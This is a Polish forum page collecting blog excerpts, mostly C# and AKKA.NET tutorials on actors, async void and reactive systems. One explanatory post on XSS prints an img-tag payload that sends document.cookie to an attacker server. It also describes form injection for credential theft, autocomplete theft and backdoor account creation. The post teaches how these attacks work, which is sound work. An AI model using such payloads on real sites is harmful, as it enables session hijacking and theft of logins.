Skocz do zawartości

DevStart Blogi

Członkowie
  • Postów

    1 369
  • Dołączył

  • Ostatnio

    Nigdy
  • Days Won

    2

Wszystko napisane przez DevStart Blogi

  1. Hierarchia aktorów to kolejny bardzo ważny element w projektowaniu systemów rozproszonych, bazujących na aktorach. Przede wszystkim pomaga w tworzeniu atomowych aktorów. Dzięki hierarchii, pojedynczy aktor może zawierać na tyle mało logiki, że jesteśmy w stanie wykonać operację wielowątkową bez użycia blokad. Z poprzedniego artykułu o Reactive Manifesto, pamiętamy, że obsługa błędów (resilent) oraz skalowalność muszą być zagwarantowane w systemach reaktywnych. Dzięki hierarchii aktorów bardzo łatwo możemy izolować awarie pojedynczego węzła od innych. Ponadto, ze względu na relacje między różnymi aktorami, możemy dobrać odpowiednio strategie obsługi błędów. Hierarchia aktorów stanowi drzewo relacji. Każdy węzeł ma rodzica, który stanowi jego zarządcę. To od niego należy, czy w momencie wystąpienia błędu, wszystkie węzły potomne zostaną anulowane czy tymczasowo zawieszone. Zasada jest taka więc, że tworzymy coraz to nowe poziomy w drzewie aktorów, aż w do momentu, gdy logika w pojedynczym aktorze jest wystarczająco prosta i odizolowana. W systemie AKKA.NET każdy węzeł ma zarządce i każdy z nich może być również zarządcą swoich potomków. W AKKA.NET istnieją również systemowe węzły: Aktor / jest bazowym węzeł dla całego systemu. To od niego zaczyna się hierarchia. Później mamy /user oraz /system. Każdy aktor zdefiniowany przez nas, będzie podlegał /user. Jeśli /user zdecyduje się na anulowanie podrzędnych węzłów, nasi aktorzy zostaną anulowani. Z kolei /system, to inny bazowy węzeł, dla celów czysto systemowych takich jak obsługa błędów czy wykonywanie logów. Załóżmy, że mamy system składający się z dowolnej liczby użytkowników. Nie ma w tej chwili znaczenia co to dokładnie za system. Wiemy, że jednym z aktorów będzie po prostu “ApplicationUser”. Jednym z rozwiązań, byłoby stworzenie następującej hierarchii: Powyższa hierarchia, składająca się z pojedynczego aktora nie jest zbyt dobra. Lepiej wprowadzić koncept ApplicationUserController, który będzie przechowywał użytkowników oraz aktorów. ApplicationUserController będzie zatem zarządzał aktorami ApplicationUser: W momencie zalogowania się nowego użytkownika, kolejny ApplicationUser jest tworzony przez ApplicationUserController. Przejdźmy zatem do implementacji. Zaczniemy od ApplicationUser: public class ApplicationUserActor : UntypedActor { private readonly string _userName; public ApplicationUserActor(string userName) { _userName = userName; } protected override void OnReceive(object message) { Console.WriteLine("Received by {0}: {1}", _userName, message); } protected override void PreStart() { Console.WriteLine("{0}: PreStart",_userName); base.PreStart(); } protected override void PostStop() { Console.WriteLine("{0}: PostStop", _userName); base.PostStop(); } protected override void PreRestart(Exception reason, object message) { Console.WriteLine("{0}: PreRestart", _userName); base.PreRestart(reason, message); } protected override void PostRestart(Exception reason) { Console.WriteLine("{0}: PostRestart", _userName); base.PostRestart(reason); } } ApplicationUser w naszym przypadku będzie po prostu wyświetlał przychodzące wiadomości. Ponadto przeciążyłem hook’i opisane w poprzednim poście. Ułatwią one później śledzenie zachowania systemu. Każdy ApplicationUser przechowuje nazwę użytkownika, dzięki której później będziemy w stanie rozróżniać poszczególne instancje aktora. Kolejny aktor będzie służył do zarządzania ApplicationUser. Często określa się go miastem strażnika (guardian), ponieważ to on jest odpowiedzialny za zarządzanie, jak i obsługę błędów (więcej o tym w następnym wpisie). Kod: public class ApplicationUserControllerActor : ReceiveActor { public ApplicationUserControllerActor() { Receive<AddUser>(msg => AddUser(msg)); } private void AddUser(AddUser msg) { Console.WriteLine("Requested a new user: {0}", msg.UserName); IActorRef newActorRef = Context.ActorOf(Props.Create(() => new ApplicationUserActor(msg.UserName)), msg.UserName); } protected override void PreStart() { Console.WriteLine("ApplicationUserControllerActor: PreStart"); base.PreStart(); } protected override void PostStop() { Console.WriteLine("ApplicationUserControllerActor: PostStop"); base.PostStop(); } protected override void PreRestart(Exception reason, object message) { Console.WriteLine("ApplicationUserControllerActor: PreRestart"); base.PreRestart(reason, message); } protected override void PostRestart(Exception reason) { Console.WriteLine("ApplicationUserControllerActor: PostRestart"); base.PostRestart(reason); } } Aktor obsługuje wyłącznie wiadomość AddUser, która wygląda następująco: public class AddUser { public string UserName { get; private set; } public AddUser(string userName) { UserName = userName; } } W momencie otrzymania AddUser, dodany jest nowy aktor podrzędny za pomocą: Context.ActorOf(Props.Create(() => new ApplicationUserActor(msg.UserName)), msg.UserName); Wywołanie ActorOf w kontekście aktora A, spowoduje utworzenie aktora B, który jest podrzędny względem A. Innymi słowy, ApplicationUserActor podlega ApplicationUserController, który z kolei podlega /user. Jak wiemy z początku wpisu, /user jest systemowym aktorem, który zawsze istnieje. Być może, nie potrzebnie nazywałem swoich aktorów również “User”. W każdym, razie /user jest systemowy i nie ma nic wspólnego z logiką biznesową danej aplikacji. Z kolei ApplicationUser oraz ApplicationUserController zostały stworzone przez nas za pomocą powyższego kodu. Przejdźmy teraz do testowania. Korzeń systemu tworzymy w znany już sposób: var system = ActorSystem.Create("FooHierarchySystem"); IActorRef userControllerActor=system.ActorOf<ApplicationUserControllerActor ("ApplicationUserControllerActor"); Następnie wysyłamy dwie wiadomości AddUser, w celu dodania dwóch nowych użytkowników, a co za tym idzie, również dwóch nowych aktorów: userControllerActor.Tell(new AddUser("Piotr")); userControllerActor.Tell(new AddUser("Pawel")); Na ekranie zobaczymy, że najpierw ApplicationUserController zostały stworzony, potem dwóch użytkowników zostało dodanych, a po pewnych czasie hooki OnPreStart dla nowych aktorów zostały wywołane: Następnie, chcemy wysłać wiadomość do nowo utworzonych aktorów: Console.ReadLine(); Console.WriteLine("Sending a message to ApplicationActor(Piotr)..."); var actor1 = system.ActorSelection("/user/ApplicationUserControllerActor/Piotr"); actor1.Tell("Testing actor 1"); Console.ReadLine(); Console.WriteLine("Sending a message to ApplicationActor(Pawel)..."); var actor2 = system.ActorSelection("/user/ApplicationUserControllerActor/Pawel"); actor2.Tell("Testing actor 2"); Warto zwrócić jak uzyskujemy dostęp do wcześniej już stworzonego aktora: system.ActorSelection("/user/ApplicationUserControllerActor/Piotr"); Więcej o definiowaniu ścieżek napiszę innym razem. W najprostszej postaci zawierają jednak one serie nazw aktorów. Korzeniem zawsze jest /user. Następnie stworzyliśmy pojedynczą instancję ApplicationUserControllerAcrtor. Ostatnią częścią jest nazwa instancji ApplicationUser. W naszym przypadku, jako nazwę tej instancji podaliśmy nazwę użytkownika. Dla przypomnienia: Context.ActorOf(Props.Create(() => new ApplicationUserActor(msg.UserName)), msg.UserName); Drugi parametr, metody Props.Create to nazwa aktora. Ponadto, jak widzimy, hierarchia aktorów nie pełni roli routing’u wiadomości. Nie musimy wysyłać wiadomości do korzenia systemu. Wystarczy zaznaczyć konkretnego aktora i komunikować się bezpośrednio z nim. Relacje aktorów mają wyłącznie znaczenie dla obsługi błędów (zobaczymy w następnym wpisie), jak i zarządzania czasem życia instancji. W tej chwili, na ekranie powinniśmy zobaczyć następujące logi: Na koniec, zobaczmy jak aktorzy zachowują się w momencie zamykania systemu: Console.ReadLine(); Console.WriteLine("Requesting the system shutdown."); system.Shutdown(); system.AwaitTermination(); Nie trudno domyślić się, że najpierw zostanie zamknięty ApplicationUserController, a dopiero potem dwie instancje ApplicationUser. Całość kodu do testowania: class Program { static void Main(string[] args) { var system = ActorSystem.Create("FooHierarchySystem"); IActorRef userControllerActor = system.ActorOf<ApplicationUserControllerActor>("ApplicationUserControllerActor"); userControllerActor.Tell(new AddUser("Piotr")); userControllerActor.Tell(new AddUser("Pawel")); Console.ReadLine(); Console.WriteLine("Sending a message to ApplicationActor(Piotr)..."); var actor1 = system.ActorSelection("/user/ApplicationUserControllerActor/Piotr"); actor1.Tell("Testing actor 1"); Console.ReadLine(); Console.WriteLine("Sending a message to ApplicationActor(Pawel)..."); var actor2 = system.ActorSelection("/user/ApplicationUserControllerActor/Pawel"); actor2.Tell("Testing actor 2"); Console.ReadLine(); Console.WriteLine("Requesting the system shutdown."); system.Shutdown(); system.AwaitTermination(); Console.ReadLine(); } } Wyświetl pełny artykuł
  2. Dzisiaj zacząłem pisać post o hierarchii aktorów. Jest to bardzo ważny element w celu osiągnięcia skalowalności i dobrej obsługi błędów (np. poprzez izolacje wadliwych aktorów). W połowie jednak stwierdziłem, że najpierw wypada napisać krótki wpis o zdarzeniach (hooks), jakie możemy zdefiniować w AKKA. Pozwoli nam to potem lepiej zrozumieć przepływ informacji w hierarchiach aktorów. Każdy aktor, może znajdować się w następujących etapach: Starting – aktor został dopiero stworzony i nie przetwarza jeszcze wiadomości Receiving – aktor może teraz otrzymywać wiadomości Stopping – zwalnianie zasobów Terminated – aktor nie może już otrzymywać wiadomości, ponadto w tym stanie, nie może zostać już wznowiony. Restarting – aktor aktualnie jest resetowany. Oznacza to, że po restarcie może przejść do “Starting”, a potem do “Receiving”, czyli będzie w stanie ponownie przetwarzać wiadomości. Z perspektywy kodu, poszczególne stany można obserwować, przeciążając odpowiednie metody: OnStart (Starting) – metoda wywołana przed rozpoczęciem otrzymywania jakichkolwiek wiadomości PostStop (Stopping) – zwalnianie zasobów PreRestart – przed rozpoczęciem restartu. PostRestart po zakończeniu restartu, ale jeszcze przed ponownym wywołaniem OnStart. Kod: class FooActor : UntypedActor { protected override void OnReceive(object message) { Console.WriteLine("Received: {0}", message); } protected override void PreStart() { Console.WriteLine("PreStart"); base.PreStart(); } protected override void PostStop() { Console.WriteLine("PostStop"); base.PostStop(); } protected override void PreRestart(Exception reason, object message) { Console.WriteLine("PreRestart"); base.PreRestart(reason, message); } protected override void PostRestart(Exception reason) { Console.WriteLine("PostRestart"); base.PostRestart(reason); } } W celu przetestowania możemy: var system = ActorSystem.Create("system"); var actor = system.ActorOf<FooActor>(); actor.Tell("Hello World!"); system.Shutdown(); system.AwaitTermination(); Poszczególne metody, przydadzą się w następnym wpisie, poświęconym hierarchii aktorów oraz relacjami między aktorami. Każdy z aktorów może być zarządcą więc śledzenie czasu życia aktorów jest pomocne w zrozumieniu tych zasad. Wyświetl pełny artykuł
  3. Wspomniałem w ostatnich paru wpisach, że jestem w trakcie pisania ebooka dla osoby, która chce zacząć pierwszą pracę jako programista i trochę się gubi w tym czego się uczyć, by kiedyś pracować w tej branży. Tekst zachęcający książki kształtuje się mniej więcej tak: „Co powinieneś potrafić, by znaleźć pierwszą pracę jako programista. Czego i gdzie […]Wyświetl pełny artykuł
  4. Zaczynamy od razu od kodu: class Foo { public async void DoAsync() { await Task.Factory.StartNew(() => { Thread.Sleep(2000); Console.WriteLine("DoAsync..."); }); } } Dlaczego powyższy kod jest bardzo niebezpieczny? Nigdy nie należy używać async w połączeniu z void. Przede wszystkim, użytkownik takiego kodu nie ma możliwości kontroli nad stworzonym wątkiem. Nie wiadomo, kiedy powyższa metoda zakończy się. Wywołanie będzie zatem wyglądać następująco: class Program { static void Main(string[] args) { Foo foo = new Foo(); foo.DoAsync(); Console.WriteLine("End"); Console.ReadLine(); } } DoAsync tworzy nowy wątek i wykonuje jakiś kod w osobnym wątku. Ze względu na to, że metoda nie zwraca wątku, nie można użyć await lub Wait(). Jedynie możemy domyślać się, że po pewnym czasie zadanie zostanie wykonane. Kolejnym problemem jest brak możliwości przetestowania takiej metody. Skoro niemożliwe jest wyznaczenie momentu zakończenia zadania, napisanie poprawnego i stabilnego testu również nie jest łatwe. Jeszcze większe problemy będziemy mieli w momencie wyrzucenia wyjątku: class Foo { public async void DoAsync() { await Task.Factory.StartNew(() => { Thread.Sleep(2000); throw new ArgumentException(); }); } } Załóżmy, że kod klienta wygląda następująco: static void Main(string[] args) { Foo foo = new Foo(); try { foo.DoAsync(); } catch (Exception e) { Console.WriteLine(e); } Console.WriteLine("End"); Console.ReadLine(); } Powyższy kod nigdy nie złapie wyjątku. Ponieważ DoAsync tworzy nowy wątek i nie czeka na jego zakończenie, wyjątek zostanie wyrzucony bezpośrednio do SynchronizationContext. Wątek jest wyrzucany w losowe miejsce, gdzie nie mamy kontroli. Z tego wynika, że wyjątek spowoduje zakończenie procesu. Metoda async void, zatem może zakończyć działanie procesu (poprzez wyrzucenie wyjątku) bez możliwości jego wyłapania – to bardzo niebezpieczne. Zdefiniujmy teraz klasę foo w prawidłowy sposób: class Foo { public async Task DoAsync() { await Task.Factory.StartNew(() => { Thread.Sleep(2000); throw new ArgumentException(); }); } } Dzięki temu, że zwracamy Task, możliwe jest użycie słowa kluczowego await: private static async Task TestAsync() { Foo foo = new Foo(); try { await foo.DoAsync(); } catch (Exception e) { Console.WriteLine(e); } } Wyjątek zostanie wyłapany tak jak tego spodziewamy się. Prawie zawsze zatem należy zwracać Task albo Task – nawet jeśli wersja synchroniczna była typu void. Wyjątek stanowią event handler’y. Wynika to z definicji delegaty EventHandler. Warto jednak zwrócić uwagę, że handler’ów nie testujemy bezpośrednio oraz nie ma sensu owijać ich w try-catch. Jakakolwiek obsługa błędów jest w wewnątrz handler’a. Z tego względu jest to dopuszczalne i bezpieczne. Wyjątku nie stanowią testy jednostkowe. Poniższy test jest również błędny: [Test] public async void Should_...(). { await _sut.DoAsync(); Assert.... } Prawidłowy test to oczywiście: [Test] public async Task Should_...(). { await _sut.DoAsync(); Assert.... } Framework nUnit w pewnej wersji (nie pamiętaj dokładnie, możliwe, że w 2.6) wspierał async void. Autorzy musieli napisać sporo kodu, aby móc obsługiwać takie testy. Od wersji 3.0 jednak, ta funkcjonalność (która była trochę hack’iem) została usunięta. W wersji 3.0 wyłącznie testy async task są wspierane i mogą być uruchamiane. Wyświetl pełny artykuł
  5. I would like to announce launch of my new web-based tool: Terminus Project. It’s automatically generated diff of Windows structures with nice (I hope!) presentation layer. Currently it contains only data gathered from NTDLL PDBs (281 dlls at the moment of writing this post), but it can be easily extended with other libraries. Idea behind […]Wyświetl pełny artykuł
  6. Zanim będę kontynuował serię o AKKA.NET, warto zapoznać się z podstawami programowania reaktywnego. Pozwoli to później zrozumieć, w jaki sposób AKKA.NET implementuje założenia programowania reaktywnego. Dzisiaj zatem przedstawienię tzw. “The Reactive Manifesto”, którego pełną treść można znaleźć tutaj. Moim zdaniem jednak, manifest może wydawać się trochę skomplikowany i dlatego zdecydowałem się wyjaśnić to po swojemu. Zastanówmy się po co nam kolejny “typ” programowania? Co jest złego z naszym starym, klasycznym podejściem klient-serwer? Jak nie trudno domyślić się, wymagania i oczekiwania dla dzisiejszych systemów są inne niż te 10 lat temu. Zamiast pojedynczych serwerów, mamy całe klastry. Przez ogólną dostępność komputerów (PC, Mobile itp.), przetwarzamy dane nie w gigabajtach ale w terabajtach. Model oprogramowania także zmienił się. Większość systemów stanowią usługi, a nie oprogramowanie desktopow’e, pakowane w kartony i sprzedawane w sklepach. Oczekiwania są, aby te usługi działały jak najdłużej bez żadnych usterek. Oczywiście ciężko dostarczyć oprogramowanie, które działa 100% czasu, ale możliwe jest uzyskanie niezawodności np. w 99% czasu. Dostępność różnych urządzeń dostępowych, typu tablet czy telefon komórkowy, powoduje, że użytkownicy nie chcą czekać kilku sekund na odpowiedź od serwera, a mieć rezultat w przeciągu milisekund. Jak sama nazwa mówi, programowanie reaktywne, cechuje się, że poszczególne komponenty w odpowiedni sposób reagują (react). Na co zatem nasze systemy powinny reagować? Zdarzenia Przede wszystkim powinny reagować na zdarzenia. Systemy reaktywne opierają się na zdarzeniach, a nie na zapytaniach typu klient-serwer. W nServiceBus czy AKKA.NET mamy właśnie zdarzenia w postaci asynchronicznych wiadomości. Aktor wysyłając wiadomość do innego aktora, nie blokuje wykonywania procesu. Komponenty komunikujące się za pomocą zdarzeń są powiązane ze sobą w luźny sposób. Jeśli klasa A komunikuję się z klasą B, nie musimy przechowywać żadnej referencji z instancji A do B. Jedyną, luźną zależnością jest wiadomość\zdarzenie. Dane, obciążenie Systemy reaktywne muszą również reagować na dane, które przekazywane mogą być z różną intensywnością. Innymi słowy, system powinien być skalowalny. Powinien odpowiednio reagować na małą liczbę zapytań, jak i bardzo dużą. W przypadku niewystarczających zasobów, system powinien zareagować poprzez skalowanie. Jednym z typów skalowania (tzw. scaling-up), jest użycie więcej pamięci czy rdzeni procesora, poprzez np. wielowątkowość. Czasami jednak taka skalowalność jest niewystarczająca i trzeba szukać zasobów na zewnątrz (tzw. scaling out). Zasoby na zewnątrz to oczywiście kolejny serwer dołączony do klastra. Ogromną rolę w reagowaniu na obciążenie odgrywają wcześniej opisane zdarzenia. Skoro dwie klasy nie są ze sobą mocno powiązane, wtedy nie współdzielą ze sobą żadnego stanu. Co za tym idzie, nic nie stoi na przeszkodzie, aby jedna z klas była wykonywana na kompletnie innym komputerze. Jeśli cały stan zawarty jest w wiadomości, nie ma dla nas różnicy czy przekażemy go w tym samym procesie np. do innego wątku,czy wyślemy przez sieć do innego klastra. Taka właściwość nazywa się “location transparency”, ponieważ raz zaimplementowana logika, może być skalowana bez żadnych zmian w kodzie. AKKA.NET posiada tą właściwość. Implementując jakiś algorytm za pomocą aktorów, można część z nich umieścić na różnych komputerach (tzw. remote actor). Lokalizacja aktorów zatem nie ma znaczenia – mogą znajdować się w tym samym procesie albo na innych komputerach, a i tak zaimplementowany algorytm będzie miał taki sam kod. Wyjątki i błędy Systemy reaktywne powinny również reagować w odpowiedni sposób na wszelkie błędy. AKKA.NET posiada szereg strategii obsługi wyjątków o których napiszę w przyszłych postach. System jednak nie powinien przestawać działać w momencie, gdy mało istotny błąd miał miejsce. Dokonuje się tego np. poprzez izolację. Jeśli aktor A ma jakieś błędy, można go odseparować od reszty, aby nie popsuć stanu aplikacji. Innymi słowy, system powinien wrócić do działania w momencie wystąpienia błędu (failure receovery). Jeśli np. nie można połączyć się z jakąś usługą, można spróbować ponownie za kilka sekund, zamiast całkowicie anulować operację. Aktorzy w AKKA.NET tworzą hierarchie. Jeśli jeden z aktorów ma błędy, jego rodzic decyduje, co z błędem należy zrobić. Można np. powtórzyć operację, zrestartować aktora lub przekazać odpowiedzialność do kolejnego aktora, który zdecyduje co należy zrobić z węzłami podrzędnymi. Jak widzimy, dobrą obsługę błędów również uzyskujemy za pomocą wspomnianych zdarzeń. Izolacja czy replikacja nie byłoby możliwa bez nich. Za pomocą zdarzeń, można komunikować się między aktorami. Jeśli błąd wystąpił w klastrze A, można spróbować w innym klastrze. Stan nie jest współdzielony, zatem odseparowanie pojedynczego węzła jest łatwe i nie powoduje proliferacji problemu do innych aktorów\węzłów. Responsywność Ostatnią, najłatwiejszą w zrozumieniu cechą, jest responsywność. Systemy reaktywne powinny reagować na użytkowników. Jeśli operacja jest czasochłonna, należy powiadomić o tym użytkownika. Znowu uzyskujemy to za pomocą zdarzeń. Zamiast wysłania pojedynczego zapytania i czekania aż operacja wykona się, korzystamy z asynchronicznych wiadomości, które nie blokują wykonywania. Oczywiście responsywność jest również uzyskana za pomocą skalowalności i poprawnej obsługi błędu. Jeśli jest duża liczba zapytań, dzięki skalowalności system nie powinien być powolny. Obsługa błędów, zagwarantuje, że użytkownik zawsze jest świadom co się dzieje i nie zastanie np. pustej strony, gdy operacja nie powiodła się. Spójrzmy zatem na słynny diagram, który można znaleźć na stronie “The Reactive Manifesto” (źródło: http://www.reactivemanifesto.org: “Message-driven” to wspomniane zdarzenia, wiadomości. “Responsive” to oczywiście responsywność systemu. “Resilent” to prawidłowa obsługa błędów. Innymi słowy, system powinien być elastyczny (resilent) na błędy i dostosowywać się do sytuacji. “Elastic” to skalowalność. System powinien być na tyle elastyczny, aby obsługiwać zarówno małą liczbę zapytań jak i bardzo dużą. Ponadto z oznaczeń na rysunku, możemy zaobserwować: – Dzięki zdarzeniom uzyskujemy zarówno elastyczność\skalowalność (location transparency), responsywność (nie blokujemy wywołań) oraz Resilent (izolacja błędów, replikacja w innym klastrze). – Skalowalność (elastic) oraz obsługa błędów (resilence) są ze sobą tak naprawdę powiązane. Gdyby nie skalowalność i location transparency, nie moglibyśmy na przykład wykonać operacji w innym klastrze. Gdyby, nie prawidłowa obsługą błędów, awaria w innych punkcie systemu, zniszczyła by wszystkie węzły, niwelując korzyści ze skalowalności. – Responsywność nie byłaby możliwa dzięki skalowalności (wydajność), jak i prawidłowej obsługi błędów (nie zostawianie użytkownika bez odpowiedzi w przypadku błędów). Wyświetl pełny artykuł
  7. Na początku jest wycena. Ale jak wycenić coś, czego wycenić się nie da? Taka praca, która nie do końca wiadomo jak będzie przebiegać. Zupełnie inaczej niż z grafiką, którą po prostu trzeba zmienić w motyw. Tam widać. Choć czasem są ukryte kruczki, to jednak praca na obcej bazie danych jest jednym wielkim kruczkiem. Oczywiście wycena na podstawie dostarczonej bazy, ale … nie było schematu, baza bardzo … Czytaj dalej Migracja danych Valhalla.plWyświetl pełny artykuł
  8. Zanim przejdziemy do konkretnych problemów, musimy poznać przynajmniej podstawowe elementy AKKA.NET. W poprzednim wpisie opisałem jak definiować wiadomości oraz aktorów. Dzisiaj przejdziemy do kolejnego, bardzo ważnego elementu – przełączanie stanów. Jest to podstawowy element zarówno w modelu aktor, jak i w jakichkolwiek maszynach stanów (FSM). W poprzednim przykładzie przelewu środków z jednego konta na drugie, użyliśmy właśnie przełączania stanów. Dla przypomnienia: class TransferActor { public void OnTransferMessageReceived(TransferMessage transferMessage) { ActorsSystem.GetActor(transferMessage.From).Send(new WithdrawMessage(transferMessage.Amount)); Context.Become(AwaitFrom(transferMessage.From,transferMessage.To,transferMessage.Amount)); } public void AwaitFrom(string from, string to, int amount) { ActorsSystem.GetActor(to).Send(new DepositMessage(amount)); Context.Became(AwaitTo(transferMessage.From, transferMessage.To, transferMessage.Amount)); } } Po otrzymaniu zapytania o przesłaniu pieniędzy, przełączamy się w stan AwaitFrom. Po otrzymaniu potwierdzenia, składamy depozyt i znów czekamy na potwierdzenie. W AKKA.NET zmiana stanu odbywa się za pomocą metody Become: public class SampleActor : UntypedActor { protected override void OnReceive(object message) { Console.WriteLine("Otrzymano wiadomosc ze stanu I {0}",message); Become(GoToState2); } private void GoToState2(object message) { Console.WriteLine("Otrzymano wiadomosc ze stanu II {0}", message); } } Po otrzymaniu pierwszej wiadomości, przełączamy się do stanu drugiego, reprezentowanego przez metodę GoToState2. Od tego momentu wszystkie wiadomości będą obsługiwane przez GoToState2, a nie OnReceive. Odpalmy zatem następujący kod: var system = ActorSystem.Create("JakasNazwa"); var actor1 = system.ActorOf<SampleActor>(); for (int i = 0; i < 10; i++) { actor1.Tell(i.ToString()); } Na ekranie zobaczymy najpierw tekst “Otrzymano wiadomosc ze stanu I”, a potem 9 razy “Otrzymano wiadomosc ze stanu II”. Druga przydatna i alternatywna metoda to BecomeStacked. Podobnie jak Become służy do przełączania stanu. Tym razem jednak, stan będzie przechowywany na stosie, zatem będzie można go potem zdjąć i powrócić do poprzedniego. Przykład: public class SampleActor : UntypedActor { protected override void OnReceive(object message) { Console.WriteLine("Otrzymano wiadomosc ze stanu I {0}",message); BecomeStacked(GoToState2); } private void GoToState2(object message) { Console.WriteLine("Otrzymano wiadomosc ze stanu II {0}", message); UnbecomeStacked(); } } Po odpaleniu, na zmianę będziemy mieć stan I oraz II. Oczywiście nie jesteśmy ograniczeni wyłącznie do dwóch stanów. Wyświetl pełny artykuł
  9. W poprzednich wpisach z tego cyklu, opisałem podstawowe typy XSS (Stored, Reflected, DOM-based). Dzisiaj podam kilka przykładów pokazujących do czego XSS może być wykorzystany. Przejęcie sesji Jest to chyba jeden z najczęściej pokazywanych przykładów. Możemy wkleić np. obrazek lub link, zawierający link do naszego serwera. Jako parametr wywołania, za pomocą JavaScript możliwe jest odczytanie ciasteczek użytkownika, które z kolei zawierają identyfikator sesji. Przykład: <img src=http://www.NaszSerwer.com/images/+document.cookie'/> Oczywiście ma to wadę – musimy monitorować nasz serwer w celu sprawdzenia, czy ktoś aktualnie jest zalogowany. Identyfikator sesji wygasa, zatem atak ma swoje ograniczenia, jeśli nie jest poprawnie zautomatyzowany. W najprostszej formie polega na monitorowaniu własnego serwera i w przypadku uzyskania sesji, zalogowanie się do atakowanej strony za pomocą sesji. Dopóki sesja nie straci ważności (np. kiedy użytkownik wyloguje się), będziemy mieli nieograniczony dostęp. Z tego względu, użytkownicy zawsze powinni wylogowywać się, jeśli nie korzystają już z danej strony. Website defacement Kolejnym, często wykorzystywanym typem ataku, jest “Website defacement”, czyli wklejenie dowolnej treści jako zawartość strony. Najbardziej prymitywne sposoby, to po prostu zaśmiecenie strony reklamami czy treścią niepasującą do danej strony. Bardziej wyrafinowane ataki, zmodyfikują treść w taki sposób, aby nie było to oczywiste dla każdej osoby. Na przykład, można zmodyfikować ceny usług, adres czy numery kontaktowe. Taki atak może nie być spostrzeżony zbyt szybko, a spowoduje utratę pewnych klientów (np. przez zbyt wysokie ceny lub złe dane adresowe\kontaktowe). Wstrzykiwanie formularzy Za pomocą JavaScript możemy zdziałać naprawdę bardzo dużo. Możemy również wstrzyknąć pełny formularz, który będzie wysyłać dane do naszego serwera. Skrajnym przypadkiem jest formularz do logowania. Można np. za pomocą JS wstrzyknąć formularz, który najpierw wysyła login i hasło do naszego serwera, a potem przekazuje je do oryginalnego, prawdziwego formularza. Dzięki temu, atak jest niewidzialny. Użytkownik faktycznie byłby zalogowany do prawdziwej strony, ale nie miałby pojęcia, że w w międzyczasie jego dane zostały wysyłane do zewnętrznego serwera. Atak stanowi wyrafinowaną formę phishing. Bardziej ostrożni użytkownicy, przed wpisaniem hasła sprawdzą certyfikat strony oraz link z którego korzystają. W tym problem, że w przypadku XSS korzystają oni z tej samej domeny, więc bardzo ciężko byłoby im spostrzec, że formularz został podmieniony. Wykorzystywanie ofiary do przeprowadzenia kolejnych ataków W pierwszym punkcie o wykradnięciu sesji, napisałem, że trzeba monitorować własny serwer, aby wiedzieć, kiedy dana sesja jest aktywna. Alternatywą jest, przeprowadzenie jakichkolwiek ataków za pomocą ofiary. Innymi słowy, zamiast wykradać jego sesję, lepiej spowodować, aby np. spróbował stworzyć nowe konto. Jeśli dana osoba, ma uprawnienia administratora, wtedy zamiast wykradać jego sesje i tworzyć nowe konto dla nas, moglibyśmy w jego imieniu, stworzyć nowe konto. Analogicznie z innymi atakami, np. SQL Exception. Atak stanie się zatem zautomatyzowany – każdy użytkownik logujący się do systemu, będzie próbował stworzyć dla nas konto (backdoor). Po pewnym czasie, prawdopodobnie zaloguje się osoba z odpowiednimi pozwoleniami (administrator) i operacja zakończy się sukcesem. Ponadto, wszelkie logi nie będą prowadzić do nas. Jeśli ktoś stworzy nowe konto dla nas, w logach systemowych będzie jego adres IP, a nie nasz. Wykradnięcie danych z autocomplete W JavaScript można odbierać zdarzenia AutoComplete. Jeśli zatem przeglądarka ma w cache nazwę użytkownika lub hasło, wtedy możliwe jest przesłanie danych do zewnętrznego serwera. Atak wygląda podobnie do wykradnięcia sesji. Po prostu zamiast odczytywania ciasteczek, podłączamy się pod autocomplete. To tylko “klasyczne” przypadki. W Internecie znajduje się wiele innych przykładów, które były wykorzystane przeciwko Amazon czy MySpace. Część z nich w działaniu przypomina klasyczne wirusy, które potrafią się rozprzestrzeniać z jednej strony na drugą. Pamiętajmy jedno – każdy z opisanych dotychczas ataków (SQL injection, XSS) może być tak eskalowany, że spowoduje całkowite przejęcie kontroli nad daną infrastrukturą. Wyświetl pełny artykuł
  10. I really hope that all of you have heard about the “callback hell” and today’s post is not neccessary because everyone knows exactly how to handle it using promises… However, there are probably some survivors who haven’t heard about it so today I will explain what that is and how to deal with it. Ok,... Czytaj dalej The post [EN] How to avoid callback hell using promises appeared first on burczu programator. Wyświetl pełny artykuł
  11. W ostatnich dwóch wpisach pokazałem zasady działania modelu aktor. W kolejnych postach będę korzystał już z Akka.net zamiast pseudokodu. Dzisiaj czysty opis podstaw API – bez konkretnego problemu do rozwiązania. Akka.net można zainstalować w formie pakietu Nuget: Install-Package Akka Następnie definiujemy wiadomość za pomocą zwyklej klasy typu immutable: public class TransferMoney { public string From { get; private set; } public string To { get; private set; } public TransferMoney(string from,string to) { From = @from; To = to; } } Każdy aktor powinien dziedziczyć np. po ReceiveActor: public class TransferMoneyActor : ReceiveActor { public TransferMoneyActor() { Receive<TransferMoney>(msg => Console.WriteLine("Transferring money from {0} to {1}", msg.From, msg.To)); } } Za pomocą Receive definiujemy, jakie wiadomości chcemy obsługiwać. Powyższa klasa zatem będzie odbierać wiadomości typu TransferMoney. W akka.net aktorzy egzystują w tzw. ActorSystem. Aktorzy z dwóch różnych systemów są od siebie odizolowani. Inicjacja nowego systemu jest prosta: var system = ActorSystem.Create("JakasNazwa"); Jak wiemy, aktorzy należą do konkretnych systemów, zatem w celu stworzenia aktora należy: var actor1 = system.ActorOf<TransferMoneyActor>(); Wysłanie wiadomości odbywa się za pomocą metody Tell. Całość wygląda więc następująco: var system = ActorSystem.Create("JakasNazwa"); var actor1 = system.ActorOf<TransferMoneyActor>(); actor1.Tell(new TransferMoney("nadawca", "odbiorca")); Z poprzednich wpisów pamiętamy, że wiadomości są kolejkowane i wykonywane asynchronicznie. Stwórzmy zatem następującego aktora: public class TransferMoneyActor : ReceiveActor { public TransferMoneyActor() { Receive<TransferMoney>(DoWork,shouldHandle:null); } private void DoWork(TransferMoney msg) { Console.WriteLine("{0}:{1}",DateTime.Now,Thread.CurrentThread.ManagedThreadId); Thread.Sleep(5000); } } Jeśli faktycznie wiadomości są kolejkowane i wykonywane jedno po drugim, wtedy powinniśmy zawsze widzieć ten sam identyfikator wątku w odstępach dokładnie 5 sekund. W celu udowodnienia, że zadania są wykonywane asynchronicznie, w pętli wyślemy 10 wiadomości: for (int i = 0; i < 10; i++) { Console.WriteLine("{0}: Wysylanie wiadomosci nr {1}", DateTime.Now,i); actor1.Tell(new TransferMoney("nadawca", "odbiorca")); } Jeśli są synchronicznie wykonywane, wtedy po wyświetleniu tekstu “Wysylanie wiadomosci nr…”, powinniśmy zobaczyć numer wątku. Jeśli z kolei wykonywane są asynchronicznie, tak jak tego 